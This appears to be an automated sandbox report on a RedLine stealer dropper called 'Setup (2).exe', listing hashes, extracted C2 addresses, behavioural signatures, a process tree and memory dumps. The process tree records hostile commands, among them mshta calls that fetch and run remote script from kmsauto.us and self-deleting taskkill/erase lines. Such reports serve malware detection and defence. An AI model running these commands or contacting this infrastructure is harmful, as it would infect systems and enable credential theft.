Resubmissions

15/10/2024, 15:36

241015-s1zlzasdkc 10

01/07/2024, 18:32

240701-w6yteawhmq 10

01/07/2024, 14:52

240701-r82wmaxdnd 10

01/07/2024, 14:52

240701-r8syqa1dpp 10

11/03/2024, 21:22

240311-z8dsssgg58 10

01/09/2021, 13:18

210901-5bmxjspa5s 10

01/09/2021, 13:04

210901-te4btfspqa 10

01/09/2021, 05:12

210901-4wnkwm1p3j 10

31/08/2021, 21:47

210831-41rp97dma2 10

Analysis

  • max time kernel
    128s
  • max time network
    1847s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    27/08/2021, 15:40

General

  • Target

    Setup (2).exe

  • Size

    631KB

  • MD5

    cb927513ff8ebff4dd52a47f7e42f934

  • SHA1

    0de47c02a8adc4940a6c18621b4e4a619641d029

  • SHA256

    fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

  • SHA512

    988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Malware Config

Extracted

Family

redline

C2

205.185.119.191:18846

Extracted

Family

redline

Botnet

supertraff

C2

135.148.139.222:1494

Extracted

Family

redline

Botnet

27.08

C2

95.181.172.100:55640

Extracted

Family

redline

Botnet

ads

C2

45.93.4.12:80

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 16 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 26 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 37 IoCs
  • Themida packer 8 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup (2).exe
    "C:\Users\Admin\AppData\Local\Temp\Setup (2).exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Users\Admin\Documents\v8YJlQhnQMEaYCqBgvsuWQjJ.exe
      "C:\Users\Admin\Documents\v8YJlQhnQMEaYCqBgvsuWQjJ.exe"
      2⤵
      • Executes dropped EXE
      PID:812
    • C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe
      "C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      PID:1312
      • C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe
        "C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe"
        3⤵
          PID:1712
      • C:\Users\Admin\Documents\WDXZKGDt898AWsg4fefg1rXq.exe
        "C:\Users\Admin\Documents\WDXZKGDt898AWsg4fefg1rXq.exe"
        2⤵
        • Executes dropped EXE
        PID:1296
        • C:\Users\Admin\AppData\Local\Temp\ZhFC2GxH.com
          "C:\Users\Admin\AppData\Local\Temp\ZhFC2GxH.com"
          3⤵
            PID:2584
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C33F.tmp\C340.tmp\C341.bat C:\Users\Admin\AppData\Local\Temp\ZhFC2GxH.com"
              4⤵
                PID:2748
            • C:\Users\Admin\AppData\Local\Temp\lqrZALOU.com
              "C:\Users\Admin\AppData\Local\Temp\lqrZALOU.com"
              3⤵
                PID:2648
                • C:\Windows\System32\mshta.exe
                  "C:\Windows\System32\mshta.exe" https://kmsauto.us/ra/Encoding.txt
                  4⤵
                    PID:2776
                • C:\Users\Admin\AppData\Local\Temp\Y7DDe2S7.com
                  "C:\Users\Admin\AppData\Local\Temp\Y7DDe2S7.com"
                  3⤵
                    PID:2764
                    • C:\Windows\System32\mshta.exe
                      "C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt
                      4⤵
                        PID:692
                  • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                    "C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:1092
                    • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                      C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                      3⤵
                        PID:268
                      • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                        C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                        3⤵
                          PID:2704
                        • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                          C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                          3⤵
                            PID:2952
                          • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                            C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                            3⤵
                              PID:2420
                            • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                              C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                              3⤵
                                PID:2812
                              • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                                C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                                3⤵
                                  PID:2240
                                • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                                  C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                                  3⤵
                                    PID:2472
                                  • C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                                    C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe
                                    3⤵
                                      PID:2328
                                  • C:\Users\Admin\Documents\0BOoy0KwshjqnIsuoaNFVIe1.exe
                                    "C:\Users\Admin\Documents\0BOoy0KwshjqnIsuoaNFVIe1.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:904
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "0BOoy0KwshjqnIsuoaNFVIe1.exe" /f & erase "C:\Users\Admin\Documents\0BOoy0KwshjqnIsuoaNFVIe1.exe" & exit
                                      3⤵
                                        PID:2484
                                    • C:\Users\Admin\Documents\AVi7Sc1kjM7vPO8J9cEoFR46.exe
                                      "C:\Users\Admin\Documents\AVi7Sc1kjM7vPO8J9cEoFR46.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1536
                                    • C:\Users\Admin\Documents\hbgnSrnp1lprQ0wa3KQANliV.exe
                                      "C:\Users\Admin\Documents\hbgnSrnp1lprQ0wa3KQANliV.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1592
                                    • C:\Users\Admin\Documents\Vtpad6UPpgxzY_yVJS1mo6Zl.exe
                                      "C:\Users\Admin\Documents\Vtpad6UPpgxzY_yVJS1mo6Zl.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1344
                                    • C:\Users\Admin\Documents\Zetd1vI0Eoi9nVMPLAZsSk6b.exe
                                      "C:\Users\Admin\Documents\Zetd1vI0Eoi9nVMPLAZsSk6b.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:936
                                    • C:\Users\Admin\Documents\ykktHa9Nzp2joXGYjWpcA6lr.exe
                                      "C:\Users\Admin\Documents\ykktHa9Nzp2joXGYjWpcA6lr.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1496
                                    • C:\Users\Admin\Documents\wzYWtyEqel6q33i3dO5VF8dj.exe
                                      "C:\Users\Admin\Documents\wzYWtyEqel6q33i3dO5VF8dj.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:812
                                    • C:\Users\Admin\Documents\gThHQyWGMOsz_yE_Ar6vDPlh.exe
                                      "C:\Users\Admin\Documents\gThHQyWGMOsz_yE_Ar6vDPlh.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1796
                                    • C:\Users\Admin\Documents\AE5U78nVBS2oKQsdvKY1sU4S.exe
                                      "C:\Users\Admin\Documents\AE5U78nVBS2oKQsdvKY1sU4S.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1896
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 880
                                        3⤵
                                        • Program crash
                                        PID:756
                                    • C:\Users\Admin\Documents\3Jtj0AjcAx1JYLppVS_d8LqJ.exe
                                      "C:\Users\Admin\Documents\3Jtj0AjcAx1JYLppVS_d8LqJ.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:1756
                                    • C:\Users\Admin\Documents\wcplv7T4nr3f6_sIyMrguuHl.exe
                                      "C:\Users\Admin\Documents\wcplv7T4nr3f6_sIyMrguuHl.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1736
                                    • C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe
                                      "C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1676
                                      • C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe
                                        "C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe"
                                        3⤵
                                          PID:2856
                                      • C:\Users\Admin\Documents\BwbP8LSD9bUY_iMvDg1KrMwX.exe
                                        "C:\Users\Admin\Documents\BwbP8LSD9bUY_iMvDg1KrMwX.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        PID:1652
                                      • C:\Users\Admin\Documents\jr5sKvurQbQKNRFUoPMY_e_a.exe
                                        "C:\Users\Admin\Documents\jr5sKvurQbQKNRFUoPMY_e_a.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        PID:1840
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c taskkill /im "jr5sKvurQbQKNRFUoPMY_e_a.exe" /f & erase "C:\Users\Admin\Documents\jr5sKvurQbQKNRFUoPMY_e_a.exe" & exit
                                          3⤵
                                            PID:2452
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /im "jr5sKvurQbQKNRFUoPMY_e_a.exe" /f
                                              4⤵
                                              • Kills process with taskkill
                                              PID:2628
                                        • C:\Users\Admin\Documents\HiFJqoLtZxNAKgCjHV6zv_Da.exe
                                          "C:\Users\Admin\Documents\HiFJqoLtZxNAKgCjHV6zv_Da.exe"
                                          2⤵
                                            PID:776
                                          • C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                            "C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe"
                                            2⤵
                                            • Executes dropped EXE
                                            PID:676
                                            • C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                              C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                              3⤵
                                                PID:1516
                                              • C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                3⤵
                                                  PID:2108
                                                • C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                  C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                  3⤵
                                                    PID:2180
                                                  • C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                    C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                    3⤵
                                                      PID:2492
                                                    • C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                      C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe
                                                      3⤵
                                                        PID:3016
                                                    • C:\Users\Admin\Documents\H0dWHv23eLCKNDfbpCs3vUg3.exe
                                                      "C:\Users\Admin\Documents\H0dWHv23eLCKNDfbpCs3vUg3.exe"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1804
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 880
                                                        3⤵
                                                        • Program crash
                                                        PID:2696
                                                    • C:\Users\Admin\Documents\2Z7q2IMfinmOsCZiUbFC_Muh.exe
                                                      "C:\Users\Admin\Documents\2Z7q2IMfinmOsCZiUbFC_Muh.exe"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1704
                                                    • C:\Users\Admin\Documents\7FW6i_niz4ROLdMXTPbFHXgh.exe
                                                      "C:\Users\Admin\Documents\7FW6i_niz4ROLdMXTPbFHXgh.exe"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:864
                                                    • C:\Users\Admin\Documents\m4CRYehB0fGJ9a8BDG1CMGmm.exe
                                                      "C:\Users\Admin\Documents\m4CRYehB0fGJ9a8BDG1CMGmm.exe"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1472
                                                    • C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe
                                                      "C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1056
                                                      • C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe
                                                        "C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe"
                                                        3⤵
                                                          PID:796
                                                      • C:\Users\Admin\Documents\KdbFpwx0zHZOvK4ZFi9S1vGK.exe
                                                        "C:\Users\Admin\Documents\KdbFpwx0zHZOvK4ZFi9S1vGK.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:1564
                                                      • C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe
                                                        "C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:2216
                                                        • C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe
                                                          "C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe"
                                                          3⤵
                                                            PID:1216
                                                      • C:\Windows\system32\rundll32.exe
                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                        1⤵
                                                        • Process spawned unexpected child process
                                                        PID:2808
                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                          2⤵
                                                            PID:2864

                                                        Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • memory/676-197-0x0000000000040000-0x0000000000041000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/812-188-0x0000000000E50000-0x0000000000E51000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/936-196-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1056-185-0x00000000001C0000-0x00000000001C1000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1092-198-0x0000000001050000-0x0000000001051000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1296-80-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1312-71-0x0000000000020000-0x000000000002A000-memory.dmp

                                                          Filesize

                                                          40KB

                                                        • memory/1472-149-0x0000000000E00000-0x0000000000E01000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1592-195-0x0000000000080000-0x0000000000081000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1652-194-0x0000000000350000-0x000000000036C000-memory.dmp

                                                          Filesize

                                                          112KB

                                                        • memory/1652-203-0x0000000002E70000-0x0000000002E8A000-memory.dmp

                                                          Filesize

                                                          104KB

                                                        • memory/1676-204-0x0000000000460000-0x000000000047E000-memory.dmp

                                                          Filesize

                                                          120KB

                                                        • memory/1676-189-0x0000000000E20000-0x0000000000E21000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1712-117-0x0000000000400000-0x0000000000409000-memory.dmp

                                                          Filesize

                                                          36KB

                                                        • memory/1756-187-0x0000000000A40000-0x0000000000A41000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1796-199-0x00000000012C0000-0x00000000012C1000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1984-60-0x00000000767B1000-0x00000000767B3000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1984-61-0x0000000003CC0000-0x0000000003DFF000-memory.dmp

                                                          Filesize

                                                          1.2MB

                                                        • memory/2492-219-0x0000000000400000-0x0000000000420000-memory.dmp

                                                          Filesize

                                                          128KB

                                                        • memory/2492-208-0x0000000000400000-0x0000000000420000-memory.dmp

                                                          Filesize

                                                          128KB

                                                        • memory/2648-174-0x0000000000860000-0x0000000000861000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/2704-207-0x0000000000400000-0x0000000000422000-memory.dmp

                                                          Filesize

                                                          136KB

                                                        • memory/2704-213-0x0000000000400000-0x0000000000422000-memory.dmp

                                                          Filesize

                                                          136KB

                                                        • memory/2764-181-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/2856-214-0x0000000000400000-0x0000000000420000-memory.dmp

                                                          Filesize

                                                          128KB

                                                        • memory/2856-221-0x0000000000400000-0x0000000000420000-memory.dmp

                                                          Filesize

                                                          128KB